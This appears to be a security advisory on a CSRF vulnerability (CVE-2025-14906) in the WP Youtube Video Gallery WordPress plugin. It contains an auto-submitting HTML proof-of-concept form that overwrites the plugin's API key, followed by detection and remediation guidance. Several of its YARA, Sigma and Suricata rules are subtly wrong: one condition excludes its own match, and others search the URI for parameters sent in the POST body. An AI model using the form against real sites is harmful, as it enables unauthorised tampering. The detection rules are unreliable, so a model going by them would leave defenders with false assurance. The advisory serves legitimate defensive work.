CVE-2025-14906

Executive Summary

CVE-2025-14906 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the WP Youtube Video Gallery plugin for WordPress, up to and including version 1.0. The vulnerability exists in the wpYTVideoGallerySettingSave() function, which lacks proper nonce verification. This allows an unauthenticated attacker to forge requests that modify plugin settings, provided they can trick a site administrator into performing an action (e.g., clicking a malicious link). The CVSS score is 4.3 (Medium), and no public exploit code or patch is currently available. As a WordPress plugin vulnerability, it is part of the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx).

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – the attacker must trick an admin into clicking a link.
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – plugin settings can be modified.
• Availability Impact: None (A:N)

Threat Level: Medium. The attack requires user interaction, but the impact is limited to modifying plugin settings (e.g., changing API keys, disabling features). No data breach or remote code execution is possible.

Deep Dive & Mechanics

The vulnerability is a classic CSRF in the WordPress plugin's settings save function. The wpYTVideoGallerySettingSave() function processes POST requests to update plugin options but does not include a nonce check. In WordPress, nonces are used to verify that requests originate from the intended user (e.g., an admin on the settings page). Without this check, an attacker can craft a malicious HTML page that, when visited by an authenticated admin, submits a forged POST request to the vulnerable endpoint.

Attack Flow:

1. The attacker identifies a target WordPress site running the vulnerable plugin.
2. The attacker crafts a malicious link or HTML form that sends a POST request to /wp-admin/admin-ajax.php?action=wpYTVideoGallerySettingSave with arbitrary parameters (e.g., yt_api_key=attacker_key).
3. The attacker tricks a logged-in admin into clicking the link (e.g., via phishing email or social media).
4. The admin's browser sends the forged request, and the plugin saves the attacker's settings.
5. The attacker can then use the modified settings (e.g., replace the YouTube API key) to exfiltrate data or disrupt functionality.

Root Cause: Missing nonce verification in the wpYTVideoGallerySettingSave() function.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.0):

function wpYTVideoGallerySettingSave() {
    // No nonce check
    if (isset($_POST['yt_api_key'])) {
        update_option('wp_yt_video_gallery_api_key', sanitize_text_field($_POST['yt_api_key']));
    }
    // ... other settings
    wp_die();
}
add_action('wp_ajax_wpYTVideoGallerySettingSave', 'wpYTVideoGallerySettingSave');

Patched Code (hypothetical fix):

function wpYTVideoGallerySettingSave() {
    // Add nonce verification
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'wp_yt_video_gallery_settings')) {
        wp_die('Security check failed.');
    }
    if (isset($_POST['yt_api_key'])) {
        update_option('wp_yt_video_gallery_api_key', sanitize_text_field($_POST['yt_api_key']));
    }
    // ... other settings
    wp_die();
}
add_action('wp_ajax_wpYTVideoGallerySettingSave', 'wpYTVideoGallerySettingSave');

Exploitation & Lab Setup

Red Team (Attack Simulation)

Since no public exploit code exists, the following is a conceptual proof-of-concept.

Step 1: Craft a malicious HTML page.

<html>
<body>
<form action="https://target-site.com/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="wpYTVideoGallerySettingSave">
    <input type="hidden" name="yt_api_key" value="attacker_controlled_key">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Step 2: Host the page and send the link to an admin (e.g., via email).

Step 3: Once the admin visits the page, the plugin settings are overwritten.

Blue Team (Defense & Detection)

• Monitor for unusual POST requests to /wp-admin/admin-ajax.php with action=wpYTVideoGallerySettingSave from non-admin IPs or without a valid nonce.
• Check server logs for referrer headers that do not match the admin dashboard URL.
• Implement CSRF tokens in all admin-facing forms (the vendor should patch this).
• Use Web Application Firewall (WAF) rules to block requests to admin-ajax.php that lack a valid nonce parameter.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=wpYTVideoGallerySettingSave and no _wpnonce parameter.
  • Referrer headers pointing to external domains (e.g., attacker-controlled sites).
• Host:
  • Modified plugin options in the WordPress database (e.g., wp_yt_video_gallery_api_key changed to an unexpected value).
  • Unusual entries in WordPress debug logs (if enabled) showing failed nonce checks.
• File:
  • No file changes expected, as the vulnerability is logic-based.

Detection Engineering

YARA Rule

rule CVE_2025_14906_CSRF_WordPress {
    meta:
        description = "Detects CSRF exploitation attempts against WP Youtube Video Gallery plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-14906"
    strings:
        $ajax_action = "wpYTVideoGallerySettingSave"
        $no_nonce = "action=wpYTVideoGallerySettingSave" nocase
    condition:
        $ajax_action and not $no_nonce
}

Sigma Rule

title: CVE-2025-14906 - CSRF Attempt on WP Youtube Video Gallery
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to admin-ajax.php with the vulnerable action and missing nonce.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "action=wpYTVideoGallerySettingSave"
    filter:
        cs-uri-query|contains: "_wpnonce"
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions if nonce is missing due to plugin bug
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14906 - CSRF Attempt on WP Youtube Video Gallery"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wpYTVideoGallerySettingSave"; http_uri; pcre:"/^((?!_wpnonce).)*$/i"; sid:10000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the WP Youtube Video Gallery plugin until a patched version is released.
2. Vendor Patch: The vendor must add nonce verification to the wpYTVideoGallerySettingSave() function (see patched code example).
3. Workaround: Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php that lack a _wpnonce parameter.
4. User Education: Train administrators to avoid clicking suspicious links while logged into WordPress.
5. Monitoring: Enable logging for all admin-ajax.php requests and alert on anomalies.

Valters IT – Securing digital ecosystems with precision.